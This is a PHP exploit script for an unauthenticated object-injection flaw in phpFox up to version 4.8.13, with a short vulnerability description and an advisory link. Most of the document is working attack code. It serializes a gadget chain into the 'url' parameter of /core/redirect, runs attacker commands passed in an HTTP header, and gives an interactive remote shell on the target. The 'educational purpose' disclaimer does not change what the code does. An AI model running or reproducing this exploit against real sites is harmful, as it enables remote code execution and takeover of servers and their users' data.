phpFox < 4.8.13 - (redirect) PHP Object Injection Exploit

<?php

/*
    --------------------------------------------------------------
    phpFox <= 4.8.13 (redirect) PHP Object Injection Vulnerability
    --------------------------------------------------------------
    
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: https://www.phpfox.com
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Vulnerability Description:
      
    User input passed through the "url" request parameter to the /core/redirect route is
    not properly sanitized before being used in a call to the unserialize() PHP function.
    This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP
    objects into the application scope, allowing them to perform a variety of attacks,
    such as executing arbitrary PHP code.
    
    [-] Original Advisory:

    https://karmainsecurity.com/KIS-2023-12
*/

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[+] cURL extension required!\n");

print "+------------------------------------------------------------------+\n";
print "| phpFox <= 4.8.13 (redirect) PHP Object Injection Exploit by EgiX |\n";
print "+------------------------------------------------------------------+\n";

if ($argc != 2) die("\nUsage: php $argv[0] <URL>\n\n");

function encode($string)
{
        $string = addslashes(gzcompress($string, 9));
        return urlencode(strtr(base64_encode($string), '+/=', '-_,'));
}

class Phpfox_Request
{
	private $_sName = "EgiX";
	private $_sPluginRequestGet = "print '_____'; passthru(base64_decode(\$_SERVER['HTTP_CMD'])); print '_____'; die;"; 
}

class Core_Objectify
{
	private $__toString;
	
	function __construct($callback)
	{
		$this->__toString = $callback;
	}
}

print "\n[+] Launching shell on {$argv[1]}\n";

$popChain = serialize(new Core_Objectify([new Phpfox_Request, "get"]));
$popChain = str_replace('Core_Objectify', 'Core\Objectify', $popChain);

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "{$argv[1]}index.php/core/redirect");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, "url=".encode($popChain));

while(1)
{
    print "\nphpFox-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]);
    preg_match("/_____(.*)_____/s", curl_exec($ch), $m) ? print $m[1] : die("\n[+] Exploit failed!\n");
}